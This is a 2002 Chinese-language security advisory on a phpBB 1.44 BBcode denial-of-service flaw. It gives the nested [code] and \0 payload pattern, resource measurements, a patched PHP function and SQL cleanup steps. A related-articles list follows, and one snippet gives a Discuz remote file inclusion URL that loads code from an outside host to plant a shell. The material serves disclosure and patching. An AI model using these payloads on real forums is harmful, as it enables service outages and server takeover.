phpBB BBcode处理的漏洞

发布日期:2002-04-3
漏洞类别:PHP,远程WEB接口,拒绝服务

bugtraq ID 4432、4434

存在问题的版本:

phpBB 1.44,更低的版本及 phpBB 2.0 未测试。

描述:

phpBB是一个被广泛应用的基于PHP的论坛。发现其BBcode中对于“源代码”类的引用处
理存在漏洞,通过发送特殊格式的转义字符串可导致数据库的损坏以及服务器的 CPU、内存
资源大量消耗。

详细:

phpBB在对“源代码”类的引用处理不当,主要是为了要支持镶套的标记
而造成的。有问题的代码是functions.php中的bbencode_code函数。

当我们提交一个这样的贴子:

实际向数据库中存储的数据是这样:

[1code]
\0\0\0\0\0\0\0
[/code1][1code]
\0\0\0\0\0\0\0
[/code1][1code]
\0\0\0\0\0\0\0
[/code1][1code]
\0\0\0\0\0\0\0
[/code1][1code]
\0\0\0\0\0\0\0
[/code1][1code]
\0\0\0\0\0\0\0
[/code1][1code]
\0\0\0\0\0\0\0
[/code1]

即实际系统要负担的数据量是输入的“\0”的数量的平方,如果发送 1 MByte的数据,系统
实际处理的数据将接近 1 TByte。

这是我们在实验机器上发送一个包含''*800的帖子时的资源占用情况:

PID  USER      PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM   TIME COMMAND
8643 nobody    13   0   212M  81M 13604 D     8.0 65.7   0:07 httpd

提交贴子后会提示出错:

Could not enter post text!

但实际上贴子的标题和提交者这两个数据已存到数据库中,但内容和其他一些数据没有,所
以打开的时候会出现错误页面。而且这样的帖子无法用正常的方法删掉,只能用直接连接到
数据库来删除。以下是提交不同数据量的结果:

''* =<583  正常贴上,可以删除
''* 584    正常贴上,可以编辑,但不能删除
''* 585    提示 Could not enter post text! 但贴子也没有
''* 586    正常贴上,可以删除
''* 587    提示 Could not enter post text! 但贴子也没有
''* 588    正常贴上,可以删除
''* 589    提示 Could not enter post text! 但贴子也没有
''* >=590  提示 Could not enter post text! 出现删不掉的帖子

如果发送镶套的标记则占用资源更多,我们在实验机器上发送这样的帖子:

代码如下:

[code]\0

\0[/code]

虽然只有49Byte的数据,但资源占用非常可观:
  PID USER     PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM   TIME COMMAND
25741 nobody    14   0 11828 9996   416 R    99.9  7.8   2:38 httpd

几秒钟后产生了大量的数据,内存大量消耗:
  PID USER     PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM   TIME COMMAND
    3 root      10   0     0    0     0 SW    2.5  0.0   4:13 kswapd
25742 nobody    17   0  265M  90M 52104 R    25.1 73.0   1:45 httpd

这样的镶套帖子是不会存储到数据库中的,但随着镶套的增加资源的占用会按照几何级数递
增。如果一次发送更多数据,或者不断的发送,可以导致系统资源大量占用,最终拒绝服务。

实验环境:linux 2.4.10   Apache/1.3.23   PHP 4.12

解决方案:

1、暂时禁用BBcode。
2、alert7给出了functions.php的如下修改方法,暂时停用对镶套标记的支持:

把773行开始的bbencode_code函数改为:

function bbencode_code($message, $is_html_disabled)
{
$message = preg_replace("/\[code\](.*?)\[\/code\]/si", "<!-- BBCode Start --><TABLE BORDER=0 ALIGN=CENTER WIDTH=85%><TR><TD><font size=-1>Code:</font><HR></TD></TR><TR><TD><FONT SIZE=-1><PRE>\\1</PRE></FONT></TD></TR><TR><TD><HR></TD></TR></TABLE><!-- BBCode End -->", $message);
return $message;

} // bbencode_code()

对于无法正常删除的帖子,需要手工连接数据库删除。假设有这样一个帖子:
http://host/forums/viewtopic.php?topic=1162&forum=1&0
可以这样:
$ mysql -uuser -ppasswd
mysql> use databasename;
mysql> select *  from topics where topic_id = 1162; //得到post_id
mysql> delete from posts where post_id = 6280;
mysql> delete from posts_text where post_id = 6280;
mysql> delete  from topics where topic_id = 1162;

关于我们:

WSS (Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安
全技术的研究。坚持传统的hacker精神,追求技术的精纯。

WSS 主页:http://www.whitecell.org/
WSS 论坛:http://www.whitecell.org/forum/

补充:后来的测试发现相当多的BBS都有类似问题,包括基于php、cgi、asp的,希望大家自己对自己的论坛进行测试,如有问题,参考本文酌情解决。

(0)

相关推荐

  • phpBB BBcode处理的漏洞

    发布日期:2002-04-3 漏洞类别:PHP,远程WEB接口,拒绝服务 bugtraq ID 4432.4434 存在问题的版本: phpBB 1.44,更低的版本及 phpBB 2.0 未测试. 描述: phpBB是一个被广泛应用的基于PHP的论坛.发现其BBcode中对于"源代码"类的引用处 理存在漏洞,通过发送特殊格式的转义字符串可导致数据库的损坏以及服务器的 CPU.内存 资源大量消耗. 详细: phpBB在对"源代码"类的引用处理不当,主要是为了要支持镶

  • phpBB 2.0.13惊现漏洞的解决

    一.Path Disclosure 漏洞文件:/db/oracle.php 漏洞描叙:直接访问oracle.php,导致暴露web路径 涉及版本:phpbb <=2.013 测试:ie提交http://127.0.0.1/phpBB2/db/oracle.php 返回错误: Fatal error: Cannot redeclare sql_nextid() in f:\easyphp1-7\www\phpbb2\db\oracle.php on line 405 解决办法 如果你不是采用的or

  • PHP脚本网站存在的漏洞总结

    来源: http://xiaomutou.51.net/ciker/blog/ 从现在的网络安全来看,大家最关注和接触最多的WEB页面漏洞应该是ASP了,在这方面,小竹是专家,我没发言权.然而在PHP方面来看,也同样存在很严重的安全问题,但是这方面的文章却不多.在这里,就跟大家来稍微的讨论一下PHP页面的相关漏洞吧. 我对目前常见的PHP漏洞做了一下总结,大致分为以下几种:包含文件漏洞,脚本命令执行漏洞,文件泄露漏洞,SQL注入漏洞等几种.当然,至于COOKIE欺骗等一部分通用的技术就不在这里讨

  • 如何防范PowerShell代码注入漏洞绕过受限语言模式

    导语:受限语言模式是缓解PowerShell攻击的一种方式,能够阻止执行任意未签名的代码. 介绍 受限语言模式是缓解PowerShell攻击的一种方式,能够阻止执行任意未签名的代码.当Device Guard或者AppLocker处于强制模式时,它是最实际有效的强制安全措施,因为未被策略允许的任何脚本或者模块都位于受限语言模式下,这严重限制了攻击者执行未签名的代码.通过限制语言模式限制了Add-Type的调用.限制Add-Type明显是考虑到了它能编译并加载任意的C#代码到你的运行空间中去. 但

  • Oracle Database Server 'TNS Listener'远程数据投毒漏洞(CVE-2012-1675)的完美解决方法

    环境:Windows 2008 R2 + Oracle 10.2.0.3 应用最新bundle patch后,扫描依然报出漏洞 Oracle Database Server 'TNS Listener'远程数据投毒漏洞(CVE-2012-1675) •1.确定解决方案 •2.应用解决方案 •3.验证修补情况 •4.Reference 1.确定解决方案 安全厂家给出的解决办法: 链接:http://www.oracle.com/technetwork/topics/security/alert-c

  • 对错误,漏洞和exploits的说明

    作者:Mark Vogels  翻译:黯魂[S.S.T] 在这篇文档中,我将会试着为你提供一个对于错误,和由于那些错误而产生的漏洞以及它们的exploits的基本认识.那决不意味着能让你完全理解exploits和漏洞,但是能帮助你学会认识可能的漏洞以及怎样处理它们. 一般而言有3种不同类型的错误会可能危及计算机系统和网络的安全.  #编程错误  #配置错误  #设计错误 错误可以被看成是失误,尽管它们并非都是由事故导致的.软件/设备的最初创建者可能就存在错误,用最好的想法却创建了错误,并且没有意

  • OBLOG4.0 OBLOG4.5漏洞利用分析

    来源:Deepen Study 漏洞文件:js.asp <% Dim oblog set oblog=new class_sys oblog.autoupdate=False oblog.start dim js_blogurl,n js_blogurl=Trim(oblog.CacheConfig(3)) n=CInt(Request("n")) if n=0 then n=1 select case CInt(Request("j")) case 1 ca

  • discuz许愿池插件远程包含漏洞

    许愿池插件的wish.php文件出的问题: require $discuz_root.'./include/discuzcode.func.php'; 手工利用方法: 远程包含漏洞,变量discuz_root过滤不严,利用方法: http://url/wish.php?discuz_root=http://www.neeao.com/xxxx.txt? 不一定非要txt后缀,可以改为任意后缀,后面一定要记得加问号. 这里xxxx.txt用CN.Tink的那个小马写个shell进去: <?copy

  • GBK字符编码(字符集)缺陷导致web安全漏洞

    多字节编码由来 我们先来看看最常用的,最小字符集是ascii,对应的二级制可以表示为:00-7F 编码 .它也是我们计算机使用最早通用的字符集.前期几乎可以表示所有英文字符.后来,更多使用计算机国家加入后,我们就想在计算机中表示中文字符.我们知道常见中文就有7000多个字符.ascii码就只有128字符,只有0-127编码位置,远远不够用了.因此,我们就开始制作更大字符集,并且保证兼容ascii编码.要支持更多字符,选择更大字符集.我们只能用多个字节来描述一个字符了.为了很好的与ascii码,区

  • ASP的chr(0)文件上传漏洞原理和解决方法介绍

    我们在用ASP开发文件上传功能的时候,为了防止用户上传木马程序,常常会限制一些文件的上传,常用的方法是判断一下上传文件的扩展名是否符合规定,可以用right字符串函数取出上传文件的文件名的后四位,这样很容易就能判断了,但是这里面有一个漏洞,非常危险,就是chr(0)漏洞,详情请接着往下看. 一.首先解释下什么是chr(0)? 在ASP中可以用chr()函数调用ASCII码,其中chr(0)表示调用的是一个结束字符,简单的说当一个字符串中包含chr(0)字符时,只能输出chr(0)前面的字符,ch

随机推荐